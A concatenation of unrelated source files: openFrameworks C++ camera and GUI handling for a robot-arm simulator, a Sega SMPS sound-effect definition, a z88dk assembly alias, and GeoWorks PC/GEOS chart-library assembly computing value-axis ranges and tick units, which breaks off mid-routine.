cams[0]->begin(viewportReal); cams[0]->end(); cams[0]->enableMouseInput(); cams[1]->begin(viewportSim); cams[1]->end(); cams[1]->enableMouseInput(); } //-------------------------------------------------------------- void ofApp::setupGUI(){ panel.setup(parameters.robotArmParams); panel.add(parameters.pathRecorderParams); panelJoints.setup(parameters.joints); panelTargetJoints.setup(parameters.targetJoints); panelJointsSpeed.setup(parameters.jointSpeeds); panelJointsIK.setup(parameters.jointsIK); panel.add(robot.movement.movementParams); parameters.bMove = false; // get the current pose on start up parameters.bCopy = true; panel.loadFromFile("settings/settings.xml"); // setup Gizmo gizmo.setDisplayScale(1.0); tcpNode.setPosition(ofVec3f(0.5, 0.5, 0.5)*1000); tcpNode.setOrientation(parameters.targetTCP.rotation); gizmo.setNode(tcpNode); } void ofApp::positionGUI(){ viewportReal.height -= (panelJoints.getHeight()); viewportReal.y +=(panelJoints.getHeight()); panel.setPosition(viewportReal.x+viewportReal.width, 10); panelJointsSpeed.setPosition(viewportReal.x, 10); panelJointsIK.setPosition(panelJointsSpeed.getPosition().x+panelJoints.getWidth(), 10); panelTargetJoints.setPosition(panelJointsIK.getPosition().x+panelJoints.getWidth(), 10); panelJoints.setPosition(panelTargetJoints.getPosition().x+panelJoints.getWidth(), 10); } //-------------------------------------------------------------- void ofApp::drawGUI(){ panel.draw(); panelJoints.draw(); panelJointsIK.draw(); panelJointsSpeed.draw(); panelTargetJoints.draw(); hightlightViewports(); } //-------------------------------------------------------------- void ofApp::updateActiveCamera(){ if (viewportReal.inside(ofGetMouseX(), ofGetMouseY())) { activeCam = 0; if(!cams[0]->getMouseInputEnabled()){ cams[0]->enableMouseInput(); } if(cams[1]->getMouseInputEnabled()){ cams[1]->disableMouseInput(); } } if(viewportSim.inside(ofGetMouseX(), ofGetMouseY())) { activeCam = 1; if(!cams[1]->getMouseInputEnabled()){ cams[1]->enableMouseInput(); } if(cams[0]->getMouseInputEnabled()){ cams[0]->disableMouseInput(); } if(gizmo.isInteracting() && cams[1]->getMouseInputEnabled()){ cams[1]->disableMouseInput(); } } } //-------------------------------------------------------------- //-------------------------------------------------------------- void ofApp::handleViewportPresets(int key){ float dist = 2000; float zOffset = 450; if(activeCam != -1){ // TOP VIEW if (key == '1'){ cams[activeCam]->reset(); cams[activeCam]->setPosition(0, 0, dist); cams[activeCam]->lookAt(ofVec3f(0, 0, 0), ofVec3f(0, 0, 1)); viewportLabels[activeCam] = "TOP VIEW"; } // LEFT VIEW else if (key == '2'){ cams[activeCam]->reset(); cams[activeCam]->setPosition(dist, 0, 0); cams[activeCam]->lookAt(ofVec3f(0, 0, 0), ofVec3f(0, 0, 1)); viewportLabels[activeCam] = "LEFT VIEW"; } // FRONT VIEW else if (key == '3'){ cams[activeCam]->reset(); cams[activeCam]->setPosition(0, dist, 0); cams[activeCam]->lookAt(ofVec3f(0, 0, 0), ofVec3f(0, 0, 1)); viewportLabels[activeCam] = "FRONT VIEW"; } // PERSPECTIVE VIEW else if (key == '4'){ cams[activeCam]->reset(); cams[activeCam]->setPosition(dist, dist, dist/4); cams[activeCam]->lookAt(ofVec3f(0, 0, 0), ofVec3f(0, 0, 1)); viewportLabels[activeCam] = "PERSPECTIVE VIEW"; } } } //-------------------------------------------------------------- void ofApp::hightlightViewports(){ ofPushStyle(); // highlight right viewport if (activeCam == 0){ ofSetLineWidth(6); ofSetColor(ofColor::white,30); ofDrawRectangle(viewportReal); } // hightlight left viewport else{ ofSetLineWidth(6); ofSetColor(ofColor::white,30); ofDrawRectangle(viewportSim); } // show Viewport info ofSetColor(ofColor::white,200); ofDrawBitmapString(viewportLabels[0], viewportReal.x+viewportReal.width-120, ofGetWindowHeight()-30); ofDrawBitmapString("REALTIME", ofGetWindowWidth()/2 - 90, ofGetWindowHeight()-30); ofDrawBitmapString(viewportLabels[1], viewportSim.x+viewportSim.width-120, ofGetWindowHeight()-30); ofDrawBitmapString("SIMULATED", 30, ofGetWindowHeight()-30); ofPopStyle(); } //-------------------------------------------------------------- void ofApp::keyPressed(int key){ if(key == 'm'){ parameters.bMove = !parameters.bMove; if (parameters.bMove) paths.startDrawing(); else paths.pauseDrawing(); } if( key == 'r' ) { gizmo.setType( ofxGizmo::OFX_GIZMO_ROTATE ); } if( key == 'g' ) { gizmo.setType( ofxGizmo::OFX_GIZMO_MOVE ); } if( key == 's' ) { gizmo.setType( ofxGizmo::OFX_GIZMO_SCALE ); } if( key == 'e' ) { gizmo.toggleVisible(); } // paths.keyPressed(key); workSrf.keyPressed(key); handleViewportPresets(key); } //-------------------------------------------------------------- void ofApp::keyReleased(int key){ } //-------------------------------------------------------------- void ofApp::mouseMoved(int x, int y ){ } //-------------------------------------------------------------- void ofApp::mouseDragged(int x, int y, int button){ viewportLabels[activeCam] = ""; } //-------------------------------------------------------------- void ofApp::mousePressed(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseReleased(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseEntered(int x, int y){ } //-------------------------------------------------------------- void ofApp::mouseExited(int x, int y){ } //-------------------------------------------------------------- void ofApp::windowResized(int w, int h){ } //-------------------------------------------------------------- void ofApp::gotMessage(ofMessage msg){ } //-------------------------------------------------------------- void ofApp::dragEvent(ofDragInfo dragInfo){ }
Sound_9F_Header: smpsHeaderStartSong 3 smpsHeaderVoice Sound_9F_Voices smpsHeaderTempoSFX $01 smpsHeaderChanSFX $02 smpsHeaderSFXChannel cFM5, Sound_9F_FM5, $F8, $08 smpsHeaderSFXChannel cFM4, Sound_9F_FM4, $F1, $0F ; FM4 Data Sound_9F_FM4: dc.b nRst, $03 ; FM5 Data Sound_9F_FM5: smpsSetvoice $00 smpsModSet $01, $01, $F8, $04 dc.b nA3, $13 smpsFMAlterVol $14 smpsLoop $00, $05, Sound_9F_FM5 smpsStop Sound_9F_Voices: ; Voice $00 ; $7A ; $1F, $1F, $04, $1F, $10, $1F, $18, $10, $10, $16, $0C, $00 ; $02, $02, $02, $02, $2F, $2F, $FF, $3F, $42, $16, $11, $80 smpsVcAlgorithm $02 smpsVcFeedback $07 smpsVcUnusedBits $01 smpsVcDetune $01, $00, $01, $01 smpsVcCoarseFreq $0F, $04, $0F, $0F smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $10, $18, $1F, $10 smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $00, $0C, $16, $10 smpsVcDecayRate2 $02, $02, $02, $02 smpsVcDecayLevel $03, $0F, $02, $02 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $11, $16, $42
SECTION code_fp_am9511 PUBLIC ___fsneq_callee EXTERN cam32_sdcc___fsneq_callee defc ___fsneq_callee = cam32_sdcc___fsneq_callee
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: chart library FILE: axisValue.asm AUTHOR: Chris Boyke METHODS: Name Description ---- ----------- FUNCTIONS: Scope Name Description ----- ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 12/12/91 Initial version. DESCRIPTION: $Id: axisValue.asm,v 1.1 97/04/04 17:45:16 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AxisCode segment COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ValueAxisGetValuePosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Return the position (in PlotArea bounds) of a number in the parameters block PASS: *ds:si = AxisClass object ds:di = AxisClass instance data es = Segment of AxisClass. cx = series # dx = category # RETURN: if value exists: ax = position (either X or Y) of number carry clear else carry set -- that position is EMPTY DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 12/ 4/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ValueAxisGetValuePosition method dynamic AxisClass, MSG_AXIS_GET_VALUE_POSITION uses cx, dx, bp .enter push si mov ax, MSG_CHART_GROUP_GET_VALUE mov si, offset TemplateChartGroup call ObjCallInstanceNoLock pop si jc done call AxisValueToPositionInt done: .leave ret ValueAxisGetValuePosition endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ValueAxisBuild %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Build a value axis PASS: *ds:si = ValueAxisClass object ds:di = ValueAxisClass instance data es = Segment of ValueAxisClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 12/12/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ValueAxisBuild method dynamic ValueAxisClass, MSG_CHART_OBJECT_BUILD uses ax,cx,dx,bp .enter BitSet ds:[di].AI_attr, AA_VALUE mov cx, mask ATA_MAJOR_TICKS ; clr ch ; Don't do tick labels if there are VALUES in the chart push cx call UtilGetChartAttributes pop cx test dx, mask CF_VALUES jnz noTickLabels or cl, mask ATA_LABELS jmp gotAttrs noTickLabels: mov ch, mask ATA_LABELS gotAttrs: ; ; Call the common routine that doesn't care whether we're an X ; or Y axis (unlike the method) ; call AxisSetTickAttributesCommon ; Will set GEOMETRY and IMAGE flags if range changes call ComputeDefaultRange .leave mov di, offset ValueAxisClass GOTO ObjCallSuperNoLock ValueAxisBuild endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ComputeDefaultRange %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compute the default range for the axis to cover. CALLED BY: ValueAxisBuild PASS: ds:di = ValueAxis object *ds:si - ValueAxis object RETURN: Instance updated to reflect new AI_max/min fields DESTROYED: nothing PSEUDO CODE/STRATEGY: if (Sign(minVal) == Sign(maxVal)) { if (Sign(minVal) == Sign(-1)) { ** Both negative firstMax = maxVal + (maxVal-minVal)/2 if (firstMax > 0) { firstMax = 0 } firstMin = minVal } else { ** Both postive firstMax = maxVal firstMin = minVal - (maxVal-minVal)/2 if (firstMin < 0) { firstMin = 0 } } } else { firstMax = maxVal firstMin = minVal } diffO = Int(Log10(firstMax-firstMin)) rDiff = diffO-1 max = Ceil(firstMax/10^rDiff)*10^rDiff min = Floor(firstMin/10^rDiff)*10^rDiff In the comments below: m = Minimum M = Maximum d = The difference (max-min) f = First minimum F = First maximum o = Order of the difference O = 10 ^ Order of the difference KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 11/11/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ComputeDefaultRange proc near class ValueAxisClass uses ax, cx, dx, bp, di, es .enter call UtilGetChartAttributes andnf dx, mask CF_PERCENT or mask CF_FULL cmp dx, mask CF_PERCENT or mask CF_FULL jne calcRange fullPercent: call SetRangeForFullPercent jmp done calcRange: ; ; Get the max and min onto the floating point stack. ; push si mov ax, MSG_CHART_GROUP_GET_SERIES_MAX_MIN mov si, offset TemplateChartGroup mov cl, ds:[di].VAI_firstSeries mov ch, ds:[di].VAI_lastSeries call ObjCallInstanceNoLock pop si ; If we couldn't get a max and min for this series, then just ; use 0 and 1 and leave it at that. jc fullPercent ;----------------------------------------------------------------------------- ; Get Signs of Max and Min ;----------------------------------------------------------------------------- ; ; fp: M, m ; call FloatDup ; fp: M, m, m mov bx, 3 call FloatPick ; fp: M, m, m, M call FloatLt0 ; carry set if Max < 0 mov al, 0 ; al <- Sign(max) jnc gotMaxSign mov al, 1 gotMaxSign: call FloatLt0 ; carry set if min < 0 mov ah, 0 ; al <- Sign(min) jnc gotMinSign mov ah, 1 gotMinSign: ;----------------------------------------------------------------------------- ; Call Appropriate Handler ;----------------------------------------------------------------------------- ; ; al = 0 if max is positive ; ah = 0 if min is positive ; fp: M, m ; cmp al, ah ; Check for same sign je sameSign ; Branch if same sign call ComputeFirstMinMaxDifferentSign jmp gotFirstMinMax sameSign: ; ; The maximum and minimum are same sign (al = non-zero if negative) ; tst al ; Check for postive jz samePositive call ComputeFirstMinMaxBothNegative jmp gotFirstMinMax samePositive: call ComputeFirstMinMaxBothPositive ;----------------------------------------------------------------------------- ; Compute Order of Difference ;----------------------------------------------------------------------------- gotFirstMinMax: ; ; fp: M, m, f, F ; ; Compute the order of the difference ; call FloatDup ; fp: M, m, f, F, F mov bx, 3 call FloatPick ; fp: M, m, f, F, F, f call FloatSub ; fp: M, m, f, F, (F-f) call FloatLog ; fp: M, m, f, F, l10(d) call FloatFloatToDword mov ds:[di].VAI_diffOrder, ax dec ax call Float10ToTheX ; fp: M, m, f, F, O ;----------------------------------------------------------------------------- ; Compute Maximum ;----------------------------------------------------------------------------- call FloatSwap ; fp: M, m, f, O, F mov bx, 2 call FloatPick ; fp: M, m, f, O, F, O call FloatDivide ; fp: M, m, f, O, F/O CallCheckTrash FloatCeiling, si ; fp: M, m, f, O, !F/O! mov bx, 2 call FloatPick ; fp: M, m, f, O, !F/O!, O call FloatMultiply ; fp: M, m, f, O, !F/O!*O mov bx, offset AI_max call AxisFloatPopNumber ; fp: M, m, f, O ;----------------------------------------------------------------------------- ; Compute Minimum ;----------------------------------------------------------------------------- call FloatSwap ; fp: M, m, O, f mov bx, 2 call FloatPick ; fp: M, m, O, f, O call FloatDivide ; fp: M, m, O, f/O call FloatFloor ; fp: M, m, O, |f/O| call FloatMultiply ; fp: M, m, |f/O|*O mov bx, offset AI_min call AxisFloatPopNumber ; fp: M, m ; ; Discard the partial results ; call FloatDrop ; fp: M call FloatDrop ; fp: done: .leave ret ComputeDefaultRange endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AxisFloatPopNumber %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Pop a # off the FP stack. If the number is different than the number already stored in the instance data, then set the COS_IMAGE_INVALID and COS_GEOMETRY_INVALID flags. CALLED BY: PASS: *ds:si - axis object ds:di - axis instance bx - offset to instance data to address to store # RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 5/18/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AxisFloatPopNumber proc near uses ax,cx,di,si,es chunkHandle local word push si locals local FloatNum ; Assuming even-sized CheckHack <(size FloatNum and 1) eq 0> .enter lea si, ds:[di][bx] ; point to float in instance ; data. segmov es, ss lea di, locals call FloatPopNumber push si, di mov cx, size FloatNum/2 repe cmpsw pop di, si ; exchange si, di je done segxchg ds, es MovMem <size FloatNum> segxchg ds, es mov si, chunkHandle mov cl, mask COS_IMAGE_INVALID or \ mask COS_GEOMETRY_INVALID mov ax, MSG_CHART_OBJECT_MARK_INVALID call ObjCallInstanceNoLock done: .leave ret AxisFloatPopNumber endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ValueAxisComputeTickUnits %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Choose default values for a value axis CALLED BY: PASS: *ds:si = Instance ptr ds:di = Instance ptr RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: - The increment should be some power of 10 times: 1, 2, 5 because people likes these sorts of numbers. - The value axis labels should not be crowded. - When all values are positive the position of the category axis should be at the base (bottom) of the value axis. - When all values are negative the position of the category axis should be at the top of the value axis. - When values are both negative and positive the position of the category axis should be at zero. - If all values are positive then the range should include only positive numbers. - If all values are negative then the range should include only negative numbers. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 11/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ValueAxisComputeTickUnits proc near class ValueAxisClass .enter ; ; First mark that the user hasn't set values for this axis ; and ds:[di].AI_attr, not mask AA_USER_SET_BOUNDS ; ; Compute the maximum number of labels ; call ComputeMaxLabelCount ; cx <- max # of labels ; ; Compute the major tick unit. ; call ComputeMajorTickUnit ; Compute number of labels based on tick unit, Max/Min ; call ComputeNumLabels ; ; Figure the best minor tick unit. ; call ComputeMinorTickUnit .leave ret ValueAxisComputeTickUnits endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetRangeForFullPercent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the range of this axis to 0, 1 CALLED BY: ComputeDefaultRange PASS: ds:di - axis RETURN: AI_min, AI_max filled in DESTROYED: es PSEUDO CODE/STRATEGY: Store 0 in AI_min, and 1 in AI_max KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/13/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetRangeForFullPercent proc near uses bx class ValueAxisClass .enter mov ds:[di].VAI_diffOrder, 0 call Float0 mov bx, offset AI_min call AxisFloatPopNumber call Float1 mov bx, offset AI_max call AxisFloatPopNumber .leave ret SetRangeForFullPercent endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ComputeFirstMinMaxBothPositive %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compute the firstMin and firstMax when both the min and max series values are positive. CALLED BY: ComputeDefaultRange PASS: fp stack contains: Minimum <- top of stack Maximum RETURN: fp stack contains: First maximum <- top of stack First minimum Minimum Maximum DESTROYED: nothing PSEUDO CODE/STRATEGY: firstMax = maxVal firstMin = minVal - (maxVal-minVal)/2 if (firstMin < 0) { firstMin = 0 } KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 11/13/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ComputeFirstMinMaxBothPositive proc near uses ax, bx, dx .enter call SeeIfMaxEqualsMin jc done call FloatDup ; fp: M, m, m mov bx, 3 call FloatPick ; fp: M, m, m, M call FloatPick ; fp: M, m, m, M, m call FloatSub ; fp: M, m, m, (M-m) call FloatDivide2 ; fp: M, m, m, (M-m)/2 call FloatSub ; fp: M, m, m-(M-m)/2 ; ; If the firstMin is negative we have a problem. If we allow this ; then we have all our data above zero but our axis base will be ; less than zero. In this situation we force firstMin to 0. ; ; fp: M, m, f ; call FloatDup ; fp: M, m, f, f call FloatLt0 ; Check for negative ; fp: M, m, f jnc gotFirstMin ; Branch if positive call FloatDrop ; fp: M, m call Float0 ; fp: M, m, 0 ; fp: M, m, f gotFirstMin: mov bx, 3 call FloatPick ; fp: M, m, f, F done: .leave ret ComputeFirstMinMaxBothPositive endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SeeIfMaxEqualsMin %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Special case for both the "both positive" and "both negative" case -- if the numbers are the same, then set FirstMax = Max+1 FirstMin = Min-1 CALLED BY: PASS: FP stack: M, m RETURN: IF SAME: carry set FP stack: M, m, f, F ELSE: carry clear DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 7/ 8/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SeeIfMaxEqualsMin proc near .enter call FloatComp jne notSame call FloatDup ; M, m, m call Float1 call FloatSub ; M, m, f call FloatDup ; M, m, f, f call Float2 call FloatAdd ; m, M, f, F stc done: .leave ret notSame: clc jmp done SeeIfMaxEqualsMin endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ComputeFirstMinMaxBothNegative %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compute the firstMin and firstMax when both the min and max series values are negative. CALLED BY: ComputeDefaultRange PASS: fp stack contains: Minimum <- top of stack Maximum RETURN: fp stack contains: First maximum <- top of stack First minimum Minimum Maximum DESTROYED: nothing PSEUDO CODE/STRATEGY: firstMax = maxVal + (maxVal-minVal)/2 if (firstMax > 0) { firstMax = 0 } firstMin = minVal KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 11/13/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ComputeFirstMinMaxBothNegative proc near uses ax, bx, dx .enter call SeeIfMaxEqualsMin jc done mov bx, 2 call FloatPick ; fp: M, m, M mov bx, 3 call FloatPick ; fp: M, m, M, M call FloatPick ; fp: M, m, M, M, m call FloatSub ; fp: M, m, M, (M-m) call FloatDivide2 ; fp: M, m, M, (M-m)/2 call FloatAdd ; fp: M, m, M+(M-m)/2 ; fp: M, m, F mov bx, 2 call FloatPick ; fp: M, m, F, f ; ; Check for firstMax being positive ; call FloatSwap ; fp: M, m, f, F call FloatDup ; fp: M, m, f, F, F call FloatLt0 ; Check for less than 0 ; fp: M, m, f, F jc done ; Branch if not less than zero call FloatDrop ; fp: M, m, f call Float0 ; fp: M, m, f, 0 ; fp: M, m, f, F done: .leave ret ComputeFirstMinMaxBothNegative endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ComputeFirstMinMaxDifferentSign %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compute the firstMin and firstMax when the min and max series values have different signs. CALLED BY: ComputeDefaultRange PASS: fp stack contains: Minimum <- top of stack Maximum RETURN: fp stack contains: First maximum <- top of stack First minimum Minimum Maximum DESTROYED: nothing PSEUDO CODE/STRATEGY: firstMax = maxVal firstMin = minVal KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 11/13/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ComputeFirstMinMaxDifferentSign proc near uses ax, bx, dx .enter call FloatDup ; fp: M, m, f mov bx, 3 call FloatPick ; fp: M, m, f, F .leave ret ComputeFirstMinMaxDifferentSign endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ComputeMaxLabelCount %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compute the maximum desirable number of labels to place on the axis. CALLED BY: ValueAxisComputeTickUnits PASS: *ds:si = Axis instance ds:di = Axis instance RETURN: cx = Maximum number of labels. DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 11/11/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ComputeMaxLabelCount proc near class AxisClass uses ax, dx, bp, di, si .enter call AxisGetPlotDistance ; ; *ds:si= Instance ptr ; ds:di = Instance ptr ; ax = Width (or height) of axis ; ; The amount of space we allow for a label depends on the orientation ; of the axis and on whether or not the text is rotated. ; mov cx, ax ; total axis distance test ds:[di].AI_attr, mask AA_VERTICAL jz horizontal mov dx, ds:[di].AI_maxLabelSize.P_y jmp gotMaxLabelSize horizontal: mov dx, ds:[di].AI_maxLabelSize.P_x gotMaxLabelSize: tst dx jz noLabels mov ax, cx ; dx.ax <- space on axis mov cx, dx ; cx <- space for each label clr dx div cx ; ax <- max number of labels mov cx, ax ; cx <- max number of labels ; ; Always have at least one label ; Max cx, 1 ; ; And at most 8 ; Min cx, 8 done: .leave ret noLabels: mov cx, 8 jmp done ComputeMaxLabelCount endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ComputeMajorTickUnit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compute the major tick unit for an axis. CALLED BY: ValueAxisComputeTickUnits PASS: ds:di = Axis instance cx = Maximum number of labels RETURN: Axis instance with AI_tickMajorUnit set bx = The tickMultTable index that we used DESTROYED: nothing PSEUDO CODE/STRATEGY: ** Compute the tick-mark increment tickO = diffO-1 multIdx = 0 do { if (multIdx > (length multTable) { tickO += 1 multIdx = 0 } curTick = tickMultTable[multIdx]*(10^tickO) } while ((max-min)/curTick > maxLabels) ** The tick multiplier table tickMultTable FloatNum 1 2 5 KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 11/11/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ComputeMajorTickUnit proc near class ValueAxisClass uses ax, cx, dx, di, si, es .enter ; ; In the computations below: ; l = max number of labels ; p = diffO (order of difference MAX-MIN) ; P = 10^(diffO-1) ; m = (max-min) ; t = Current multiplier entry ; x = Current tick unit ; ; Compute (max-min) since we'll be using it a lot ; ; Push diffO mov ax, ds:[di].VAI_diffOrder call FloatWordToFloat ; push max lea si, ds:[di].AI_max call FloatPushNumber ; push min lea si, ds:[di].AI_min call FloatPushNumber call FloatSub ; fp: m ; ; Put the maximum number of labels on the stack ; mov ax, cx ; dx.ax <- max labels call FloatWordToFloat ; fp: m, l ; ; Compute 10^(diffO-1) since that will be the root of many computations ; mov ax, ds:[di].VAI_diffOrder dec ax call Float10ToTheX ; fp: m, l, P ; ; Get started figuring out the tick unit. ; clr bx ; offset into major tick table tickLoop: ; ; fp: m, l, P ; cmp bx, size FloatNum * (length MajorTickTable-1) jle gotOffset ; We have run out of entries. Try increasing exponent. ; call FloatMultiply10 ; Multiply exponent part by 10 clr bx gotOffset: ; ; cs:MajorTickTable[bx] = Next multiplier to try ; push bx ; Save table index call FloatDup ; fp: m, l, P, P push ds ; Save instance segment segmov ds, cs, si ; ds:si <- multiplier lea si, cs:MajorTickTable[bx] FXIP< push cx > FXIP< mov cx, size FloatNum ; # of bytes to copy > FXIP< call SysCopyToStackDSSI ; ds:si = floatNum on stack > call FloatPushNumber ; fp: m, l, P, P, t FXIP< call SysRemoveFromStack ; release stack space > FXIP< pop cx > pop ds ; Restore instance segment call FloatMultiply ; fp: m, l, P, (t*P) ; fp: m, l, P, x call FloatDup ; fp: m, l, P, x, x mov bx, 5 call FloatPick ; fp: m, l, P, x, x, m call FloatSwap ; fp: m, l, P, x, m, x call FloatDivide ; fp: m, l, P, x, m/x mov bx, 4 call FloatPick ; fp: m, l, P, x, m/x, l call FloatCompAndDrop ; Compare m/x, l ; fp: m, l, P, x pop bx ; Restore table index jle foundTick ; Branch if this will work call FloatDrop ; fp: m, l, P add bx, size FloatNum jmp tickLoop ; Loop to try another foundTick: ; ; We've found the tick-unit to use. Save it to the instance ; fp: m, l, P, x ; segmov es, ds, ax ; es:di <- destination lea di, ds:[di].AI_tickMajorUnit call FloatPopNumber ; Save result away ; ; We need to drop the remaining numbers from the stack ; fp: m, l, P ; call FloatDrop ; 